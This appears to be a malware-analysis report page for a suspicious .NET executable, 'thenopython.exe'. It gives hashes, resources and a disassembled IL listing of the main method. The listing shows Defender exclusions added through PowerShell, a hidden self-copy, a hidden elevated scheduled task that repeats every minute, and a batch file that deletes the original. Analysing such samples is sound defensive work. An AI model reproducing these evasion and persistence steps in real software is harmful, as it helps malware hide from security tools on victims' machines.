Suspicious
Suspect

61cbb9551df71540251b84e52aefccc5

PE Executable
|
MD5: 61cbb9551df71540251b84e52aefccc5
|
Size: 633.34 KB
|
application/x-dosexec

Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Low

Hash
 Hash Value
MD5
61cbb9551df71540251b84e52aefccc5
Sha1
7ca421c124c92278039a280ce2b95a4b65e1e653
Sha256
c1f668dc9dfcd66d6f2bc4758f877e2e7e7c55ce62a6bca91dab10457da863b9
Sha384
aa82e094b63bdab22fdfb99777fa208af355451dd3f1e718ca0e3a3c75d6209683b57d663fb56b0c210d9c0b71ef5837
Sha512
fc91174c9c1543b7e411078af426fac5910e886f9bd0d6e5f013da5ac0c0e0d286303eeb2bad0e2225560349966e4b1707d4fef778433801b3c6beba31498fb0
SSDeep
12288:D1wP30NJDKmZnVEnvPGdict03QfGkjX+vXYMqEp2JFtm:+P3/onMvudb03uZmjytm
TLSH
9DD4E0812BE4892BEA7E53B9E9F1131057B4F54BA522EB9A74CC10FE5B5330059123BF
File Structure
61cbb9551df71540251b84e52aefccc5
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
qfidgsel.Resources
thenoppyskidded
thenopython
Microsoft.Win32.TaskScheduler.Properties.Resources.resources
Microsoft.Win32.TaskScheduler.V1.TaskSchedulerV1Schema.xsd
Microsoft.Win32.TaskScheduler.TaskService.bmp
Informations
Name
 Value
Module Name

thenopython.exe
Full Name

thenopython.exe
EntryPoint

System.Void 4B2DCA4D13::C1A123D1D4()
Scope Name

thenopython.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

thenopython
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

<null>
Total Strings

559
Main Method

System.Void 4B2DCA4D13::C1A123D1D4()
Main IL Instruction Count

285
Main IL

call System.Boolean 4B2DCA4D13::1CB3CC144D() brtrue IL_0010: ldsfld System.String 3324BCBD4B::4ADCC3A1B3 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String 3324BCBD4B::4ADCC3A1B3 ldsfld System.String 3324BCBD4B::B1CD444C4D ldstr \ ldsfld System.String 3324BCBD4B::2114B1DCCD call System.String System.String::Concat(System.String,System.String,System.String) ldc.i4.0 <null> call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean) ldc.i4.0 <null> bne.un IL_00BD: call System.Boolean 4B2DCA4D13::1ACD4CCCAB() ldsfld System.Collections.Generic.List`1<System.String> 3324BCBD4B::4B4DDB1AA2 callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator() stloc.0 <null> br IL_0070: ldloca.s V_0 ldloca.s V_0 call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current() stloc.1 <null> ldnull <null> ldftn System.Void 4B2DCA4D13::314C34342B(System.Object) newobj System.Void System.Threading.ParameterizedThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ParameterizedThreadStart) stloc.2 <null> ldloc.2 <null> ldloc.1 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Byte[] 4B2DCA4D13::31BAC23DCB(System.String) callvirt System.Void System.Threading.Thread::Start(System.Object) ldloca.s V_0 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext() brtrue.s IL_0045: ldloca.s V_0 leave IL_008C: call System.Boolean 4B2DCA4D13::1ACD4CCCAB() ldloca.s V_0 constrained. System.Collections.Generic.List`1/Enumerator<System.String> callvirt System.Void System.IDisposable::Dispose() endfinally <null> call System.Boolean 4B2DCA4D13::1ACD4CCCAB() brfalse IL_009B: ldnull call System.Void D1D2A3AABC::34B231B14A() ldnull <null> ldftn System.Void 4B2DCA4D13::4B1D4B3434() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.3 <null> ldloc.3 <null> callvirt System.Void System.Threading.Thread::Start() call System.Void System.Windows.Forms.Application::Run() br IL_0448: ret call System.Boolean 4B2DCA4D13::1ACD4CCCAB() brtrue IL_00DD: call System.Boolean 4B2DCA4D13::1ACD4CCCAB() ldsfld System.String 3324BCBD4B::4ADCC3A1B3 call System.Boolean 4B2DCA4D13::BBB2DAC4AA(System.String) pop <null> call System.Void 4B2DCA4D13::AD33A4C133() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Boolean 4B2DCA4D13::1ACD4CCCAB() brfalse IL_017B: ldsfld System.String 3324BCBD4B::B1CD444C4D newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() stloc.s V_4 ldloc.s V_4 ldstr powershell.exe callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) ldloc.s V_4 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) ldloc.s V_4 ldstr -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath ' ldsfld System.String 3324BCBD4B::B1CD444C4D ldstr \ ldsfld System.String 3324BCBD4B::2114B1DCCD call System.String System.String::Concat(System.String,System.String,System.String) call System.String System.IO.Path::GetFullPath(System.String) ldstr ' call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_4 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) callvirt System.Void System.Diagnostics.Process::WaitForExit() ldloc.s V_4 ldstr -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess ' ldsfld System.String 3324BCBD4B::2114B1DCCD ldstr ' call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_4 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) callvirt System.Void System.Diagnostics.Process::WaitForExit() leave IL_017B: ldsfld System.String 3324BCBD4B::B1CD444C4D dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_5 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_017B: ldsfld System.String 3324BCBD4B::B1CD444C4D ldsfld System.String 3324BCBD4B::B1CD444C4D ldstr \ ldsfld System.String 3324BCBD4B::2114B1DCCD call System.String System.String::Concat(System.String,System.String,System.String) call System.Boolean System.IO.File::Exists(System.String) brfalse IL_01C7: ldc.i4 1000 ldsfld System.String 3324BCBD4B::B1CD444C4D ldstr \ ldsfld System.String 3324BCBD4B::2114B1DCCD call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 ldc.i4 128 callvirt System.Void System.IO.FileSystemInfo::set_Attributes(System.IO.FileAttributes) ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String 3324BCBD4B::B1CD444C4D ldstr \ ldsfld System.String 3324BCBD4B::2114B1DCCD call System.String System.String::Concat(System.String,System.String,System.String) ldsfld System.String 3324BCBD4B::4ADCC3A1B3 call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave IL_020B: ldsfld System.String 3324BCBD4B::B1CD444C4D dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_020B: ldsfld System.String 3324BCBD4B::B1CD444C4D ldsfld System.String 3324BCBD4B::B1CD444C4D ldstr \ ldsfld System.String 3324BCBD4B::2114B1DCCD call System.String System.String::Concat(System.String,System.String,System.String) ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) leave IL_023C: newobj System.Void Microsoft.Win32.TaskScheduler.TaskService::.ctor() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_023C: newobj System.Void Microsoft.Win32.TaskScheduler.TaskService::.ctor() newobj System.Void Microsoft.Win32.TaskScheduler.TaskService::.ctor() stloc.s V_9 ldloc.s V_9 callvirt Microsoft.Win32.TaskScheduler.TaskDefinition Microsoft.Win32.TaskScheduler.TaskService::NewTask() stloc.s V_10 newobj System.Void Microsoft.Win32.TaskScheduler.TimeTrigger::.ctor() stloc.s V_11 ldloc.s V_11 callvirt Microsoft.Win32.TaskScheduler.RepetitionPattern Microsoft.Win32.TaskScheduler.Trigger::get_Repetition() ldc.r8 1 call System.TimeSpan System.TimeSpan::FromMinutes(System.Double) callvirt System.Void Microsoft.Win32.TaskScheduler.RepetitionPattern::set_Interval(System.TimeSpan) ldloc.s V_10 callvirt Microsoft.Win32.TaskScheduler.TriggerCollection Microsoft.Win32.TaskScheduler.TaskDefinition::get_Triggers() ldloc.s V_11 callvirt Microsoft.Win32.TaskScheduler.Trigger Microsoft.Win32.TaskScheduler.TriggerCollection::Add(Microsoft.Win32.TaskScheduler.Trigger) pop <null> call System.Boolean 4B2DCA4D13::1ACD4CCCAB() brfalse IL_0293: ldloc.s V_10 ldloc.s V_10 callvirt Microsoft.Win32.TaskScheduler.TaskPrincipal Microsoft.Win32.TaskScheduler.TaskDefinition::get_Principal() ldc.i4.1 <null> callvirt System.Void Microsoft.Win32.TaskScheduler.TaskPrincipal::set_RunLevel(Microsoft.Win32.TaskScheduler.TaskRunLevel) ldloc.s V_10 callvirt Microsoft.Win32.TaskScheduler.TaskSettings Microsoft.Win32.TaskScheduler.TaskDefinition::get_Settings() ldc.i4.1 <null> callvirt System.Void Microsoft.Win32.TaskScheduler.TaskSettings::set_Hidden(System.Boolean) ldloc.s V_10 callvirt Microsoft.Win32.TaskScheduler.ActionCollection Microsoft.Win32.TaskScheduler.TaskDefinition::get_Actions() ldsfld System.String 3324BCBD4B::B1CD444C4D ldstr \ ldsfld System.String 3324BCBD4B::2114B1DCCD call System.String System.String::Concat(System.String,System.String,System.String) ldnull <null> ldnull <null> newobj System.Void Microsoft.Win32.TaskScheduler.ExecAction::.ctor(System.String,System.String,System.String) callvirt Microsoft.Win32.TaskScheduler.Action Microsoft.Win32.TaskScheduler.ActionCollection::Add(Microsoft.Win32.TaskScheduler.Action) pop <null> ldloc.s V_9 callvirt Microsoft.Win32.TaskScheduler.TaskFolder Microsoft.Win32.TaskScheduler.TaskService::get_RootFolder() ldsfld System.String 3324BCBD4B::3AA3BBB331 ldloc.s V_10 callvirt Microsoft.Win32.TaskScheduler.Task Microsoft.Win32.TaskScheduler.TaskFolder::RegisterTaskDefinition(System.String,Microsoft.Win32.TaskScheduler.TaskDefinition) pop <null> ldc.i4 3000 call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Void 4B2DCA4D13::AD33A4C133() ldloc.s V_9 ldsfld System.String 3324BCBD4B::3AA3BBB331 ldc.i4.1 <null> callvirt Microsoft.Win32.TaskScheduler.Task Microsoft.Win32.TaskScheduler.TaskService::FindTask(System.String,System.Boolean) stloc.s V_12 ldloc.s V_12 brfalse IL_030F: call System.String System.IO.Path::GetTempFileName() ldloc.s V_12 ldc.i4.0 <null> newarr System.String callvirt Microsoft.Win32.TaskScheduler.RunningTask Microsoft.Win32.TaskScheduler.Task::Run(System.String[]) pop <null> call System.String System.IO.Path::GetTempFileName() ldstr .bat call System.String System.String::Concat(System.String,System.String) stloc.s V_13 ldloc.s V_13 newobj System.Void System.IO.StreamWriter::.ctor(System.String) stloc.s V_14 ldloc.s V_14 ldstr @echo off callvirt System.Void System.IO.TextWriter::WriteLine(System.String) ldloc.s V_14 ldstr timeout 3 > NUL callvirt System.Void System.IO.TextWriter::WriteLine(System.String) ldloc.s V_14 ldstr CD call System.String System.Windows.Forms.Application::get_StartupPath() call System.String System.String::Concat(System.String,System.String) callvirt System.Void System.IO.TextWriter::WriteLine(System.String) ldloc.s V_14 ldstr DEL " call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess() callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule() callvirt System.String System.Diagnostics.ProcessModule::get_FileName() call System.String System.IO.Path::GetFileName(System.String) ldstr " /f /q call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.IO.TextWriter::WriteLine(System.String) ldloc.s V_14 ldstr CD call System.String System.IO.Path::GetTempPath() call System.String System.String::Concat(System.String,System.String) callvirt System.Void System.IO.TextWriter::WriteLine(System.String) ldloc.s V_14 ldstr DEL " ldloc.s V_13 call System.String System.IO.Path::GetFileName(System.String) ldstr " /f /q call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.IO.TextWriter::WriteLine(System.String) leave IL_03C8: newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() ldloc.s V_14 brfalse IL_03C7: endfinally ldloc.s V_14 callvirt System.Void System.IDisposable::Dispose() endfinally <null> newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() stloc.s V_15 ldloc.s V_15 ldloc.s V_13 callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) ldloc.s V_15 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) ldloc.s V_15 ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_ErrorDialog(System.Boolean) ldloc.s V_15 ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) ldloc.s V_15 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) ldloc.s V_15 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) leave IL_041D: leave IL_0431 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_16 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_041D: leave IL_0431 leave IL_0431: leave IL_0448 ldloc.s V_9 brfalse IL_0430: endfinally ldloc.s V_9 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave IL_0448: ret dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_17 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_0448: ret ret <null>
61cbb9551df71540251b84e52aefccc5 (633.34 KB)
File Structure
61cbb9551df71540251b84e52aefccc5
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
qfidgsel.Resources
thenoppyskidded
thenopython
Microsoft.Win32.TaskScheduler.Properties.Resources.resources
Microsoft.Win32.TaskScheduler.V1.TaskSchedulerV1Schema.xsd
Microsoft.Win32.TaskScheduler.TaskService.bmp
Characteristics
No malware configuration were found at this point.
You must be signed in to post a comment.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙